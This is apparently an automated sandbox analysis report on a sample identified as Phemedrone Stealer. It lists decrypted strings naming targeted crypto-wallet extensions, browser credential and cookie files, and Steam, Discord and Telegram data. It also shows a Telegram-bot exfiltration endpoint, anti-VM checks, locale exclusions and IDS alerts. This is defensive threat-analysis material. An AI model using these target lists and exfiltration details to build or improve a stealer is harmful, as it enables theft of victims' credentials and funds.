Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: OpenMask Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: penjlddjkjgpnkllboccdgccekpkcbin
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: MyTonWallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: fldfpgipfncgndfolcbkdeeknbbbnhcc
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: DeWallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: pnccjgokhbnggghddhahcnaopgeipafg
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: TrustWallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: egjidjbpglichdcondbcbdnbeeppgdph
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: NC Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: imlcamfeniaidioeflifonfjeeppblda
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Moso Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ajkifnllfhikkjbjopkhmjoieikeihjb
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Enkrypt Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: kkpllkodjeloidieedojogacfhpaihoh
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: CirusWeb3 Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: kgdijkcfiglijhaglibaidbipiejjfdp
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Martian and Sui Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: efbglgofoippbgcjepnhiblaibcnclgk
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: SubWallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Pontem Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: phkbamefinggmakgklpkljjmgibohnba
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Talisman Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Kardiachain Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: pdadjkfkgcafgbceimcpbkalnfnepbnk
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Phantom Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: bfnaelmomeimhIpmgjnjophhpkkoljpa
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Oxygen Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: fhilaheimglignddjgofkcbgekhenbh
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: PaliWallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: mgfffbidihjpoaomajlbgchddlicgpn
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: BoltX Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: aodkkagnadcbobfpggnjeongemjbjca
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Liquality Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: kpopkelmapcoipemfendmdghnegimn
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: xDefi Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: hmeobnffcmdkdcmlb1gagmfpfboieaf
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Nami Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Ipfcbjknijpeeillifnkikgncikgfhdo
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: MaiarDeFi Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: dngmlblcodfobpdpecaadgfbeggfjfnm
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: MetaMask Edge Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ejbalbakoplchlghecdalmeeeajnimhm
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Goblin Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: mlbafbjadjidk1bhgopoamemfibcpdfi
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Braavos Smart Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: jnlgamecbpmbajjfhmmmlhejkemejdma
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: UniSat Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: OKX Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: mcohilncbfahbmgdjkbpemcciiolgcge
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Manta Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: enabgbdfcbaehmbigakijjabdpdnimlg
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Suku Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: fopmedgnkfpebgllppeddmmochcookhc
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Suiet Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: khpkpbbcccdmmclmpigdgddabeilkdpd
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Koala Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: lnnnmfcpbkafcpgdilckhmhbkkbpkmid
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ExodusWeb3 Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: aholpfdialjgjfhomihkjbmgjidlcdno
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Aurox Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: kilnpioakcdndlodeeceffgjdpojajlo
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Fewcha Move Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ebfidpplhabeedpnhjnobghokpiioolj
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Carax Demon Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: mdjmfdffdcmnoblignmgpommbefadffd
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Leap Terra Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: aijcbedoijmgnlmjeegjaglmepbmpkpi
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Local Extension Settings
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Extensions/
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: /
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: [
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ]/
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: PartnerRules
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Last Version
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: .
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Gecko
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Profiles
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: key3.db
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: key4.db
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: cookies.sqlite
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: moz_cookies
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: formhistory.sqlite
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: moz_formhistory
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: logins.json
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: encryptedUsername
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: encryptedPassword
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: hostname
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: [^ -]
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: 1
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: metaData
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: password
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: 2A864886F70D010C050103
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ISO-8859-1
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: password-check
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: 2A864886F70D01050D
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: nssPrivate
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: -
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: *.ini
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: global-salt
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Version
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: CryptoWallets
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: wallet.dat
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Wallets/
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Armory
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Atomic
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: atomic\Local Storage\leveldb
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Bytecoin
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: bytecoin
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Coninomi
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Coinomi\Coinomi\wallets
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Jaxx
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: com.liberty.jaxx\IndexedDB\file_0.indexeddb.leveldb
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Electrum\wallets
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Exodus\exodus.wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Guarda
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Guarda\Local Storage\leveldb
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ZCash
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Zcash
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: FileZilla
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: FileZilla\recentservers.xml
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: FileZilla\sitemanager.xml
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: FileZilla\
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: FTP/
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Steam
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ssfn
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: \config
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: *.vdf
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Steam/
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Software\Valve\Steam
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Apps
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Name
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Unknown
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Name:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: GameID:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Steam/Games.txt
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: HKEY_CURRENT_USER\Software\Valve\Steam
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: SteamPath
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Discord
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: cord
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Telegram
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: HKEY_CLASSES_ROOT\tg\DefaultIcon
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: tdata
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: s
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Messengers/Telegram/
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: FileGrabber
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Information
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ,d88b.d88b, 88888888888 Phemedrone Stealer `Y8888888Y' {0:dd/MM/yyyy HH:mm:ss} `Y888Y' Developed by https://t.me/webster480 & https://t.me/TheDyer `Y' Tag: {1} ----- Geolocation Data -----{2,-25}{3}{4,-25}{5} ({6}){7,-25}{8}{9,-25}{10}{11,-25}{12} ----- Hardware Info -----{13,-25}{14}\{15} {16,-25}{17} {18}{19,-25}{20}{21,-25}{22}{23,-25}{24}{25,-25}{26}{27,-25}{28} GB ----- Report Contents -----{29,-25}{30}{31,-25}{32}{33,-25}{34}{35,-25}{36}{37,-25}{38}{39,-25}{40}{41,-25}{42}{43}{44} ----- Miscellaneous -----{45,-25}{46}{47,-25}{48}{49,-25}{50}
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: IP:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ip
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Country:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: country
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: country_code
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: City:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: city
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Postal:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: asn
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: MAC:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Username:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Windows name:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: x32
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: x64
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Hardware ID:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Screen Resolution:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: GPU:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: {0,-25}
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: CPU:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: RAM:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Passwords:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Cookies:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Credit Cards:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: AutoFills:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Extensions:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Wallets:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Files:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: {0,-25}{1}
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Passwords Tags:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Cookies Tags:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Antivirus products:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ,
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: File Location:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: unknown
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Clipboard text:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Information.txt
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: CiAgICAsZDg4Yi5kODhiLCAgICAKICAgIDg4ODg4ODg4ODg4ICAgIFBoZW1lZHJvbmUgU3RlYWxlcgogICAgYFk4ODg4ODg4WScgICAgRGV2ZWxvcGVkIGJ5IGh0dHBzOi8vdC5tZS93ZWJzdGVyNDgwICYgaHR0cHM6Ly90Lm1lL1RoZUR5ZXIKICAgICAgYFk4ODhZJyAgICAgIAogICAgICAgIGBZJyAgICAgICAgCiAgICAgICAgIAo9PT09PT09PT09PT09PT09PT09PT09TElOS1M9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CkNoYW5uZWw6IGh0dHBzOi8vdC5tZS9mcmVha2NvZGluZ3Nwb3QKQ2hhdDogaHR0cHM6Ly90Lm1lLytUUXRQLXIwQjZYWTBPREk2Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIVdBUk5JTkchIEFMTCBDT0RFIElTIEZPUiBJTlRST0RVQ1RPUlkgUFVSUE9TRVMKV0UgQVJFIE5PVCBSRVNQT05TSUJMRSBGT1IgWU9VUiBBQ1RJT05TICFXQVJOSU5HIQ==
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Phemedrone Stealer Report \\| by @webster480 & @TheDyer``` - IP: {0} ${1}$ - Tag: {2} {3} - Passwords: {4} - Cookies: {5} - Wallets: {6}```{7}{8}@freakcodingspot
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: \.
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: (
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: )
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Passwords Tags:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Cookies Tags:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ]
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: -Phemedrone-Report.zip
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: [UNKNOWN]0.0.0.0-Phemedrone-Report.zip
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: x
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: https://get.geojs.io/v1/ip/geo.json
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: root\SecurityCenter2
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: SELECT * FROM AntivirusProduct
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: displayName
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: X2
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: :
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: SELECT * FROM Win32_VideoController
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: SELECT * FROM Win32_Processor
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: SELECT * FROM Win32_ComputerSystem
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: TotalPhysicalMemory
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: 0
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Win32_Processor
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ProcessorId
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Win32_DiskDrive
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: SerialNumber
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: SELECT * FROM
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: UNKNOWN
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ProductName
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Screenshot
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: user32.dll
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: GetDC
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: gdi32.dll
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: GetDeviceCaps
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Screenshot.png
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: file
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: filename
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: filedescription
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: POST
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/602.37 (KHTML, like Gecko) Chrome/49.0.1422.399 Safari/600
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ----------------------------
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: multipart/form-data; boundary=
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: --
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: "; filename="
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: "
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Content-Type: application/octet-stream
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: .phem
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: https://api.telegram.org/bot{0}/sendDocument
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: document
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: chat_id
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: parse_mode
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: MarkdownV2
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: caption
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: wireshark
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: httpdebbugerui
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: mtmproxy
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: sniffer
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: VirtualBox
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: VBox
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: VMware Virtual
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: VMware
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Hyper-V Video
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Microsoft
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ru-RU
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: kk-KZ
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ro-MD
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: uz-UZ
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: be-BY
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: az-Latn-AZ
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: hy-AM
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ky-KG
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: tg-Cyrl-TJ
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Account ID:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Token:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Browser:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Value:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: URL:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Username:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Password:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: v
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: (
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Number: {0}Placeholder: {1}Expiration: {2}/{3}Browser: {4} v{5} ({6})
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: *.ldb
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: encrypted_key
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: DPAPI
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: CHEATS
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: celka.
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: nursultan.
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: xone
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: akrien
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: interium
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: nixware
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: skeet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: GAMES
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: roblox.com.
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: genshin
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: minecraft.net
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: epicgames.com
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: steampowered.com
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: BANK
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: tinkoff
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: sberbank
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: MONEY
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: yoomoney
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: amazon
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: funpay
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: americanexpress
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: CRYPTO

Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.11:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.11:49772 version: TLS 1.2

Source:	Binary string: System.Xml.ni.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.ni.pdbRSDS source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: Activation.exe, 00000005.00000002.1962005815.0000000003464000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1988485429.00000000064C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: tem.pdbliR source: Activation.exe, 00000005.00000002.1988485429.00000000064C9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.pdb* source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Configuration.ni.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Configuration.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Xml.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.pdb source: Activation.exe, 00000005.00000002.1962005815.0000000003464000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1988485429.00000000064C0000.00000004.00000020.00020000.00000000.sdmp, WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Drawing.pdbH source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Core.ni.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Windows.Forms.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: mscorlib.pdbSystem.Windows.Forms.dll source: WERC943.tmp.dmp.9.dr
Source:	Binary string: mscorlib.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Users\user\AppData\Local\Activation.PDB source: Activation.exe, 00000005.00000002.1988485429.0000000006470000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Drawing.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Management.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: Activation.exe, 00000005.00000002.1957269528.0000000001263000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Management.ni.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: n,C:\Windows\System.pdb source: Activation.exe, 00000005.00000002.1943019008.00000000003A8000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: Z:\Oreans Projects\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: Activation.exe, 00000005.00000002.1943748792.0000000000548000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERC943.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\System.pdb source: Activation.exe, 00000005.00000002.1957269528.0000000001215000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.pdby source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERC943.tmp.dmp.9.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2843856 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screenshot.) M2 : 192.168.2.11:49772 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic

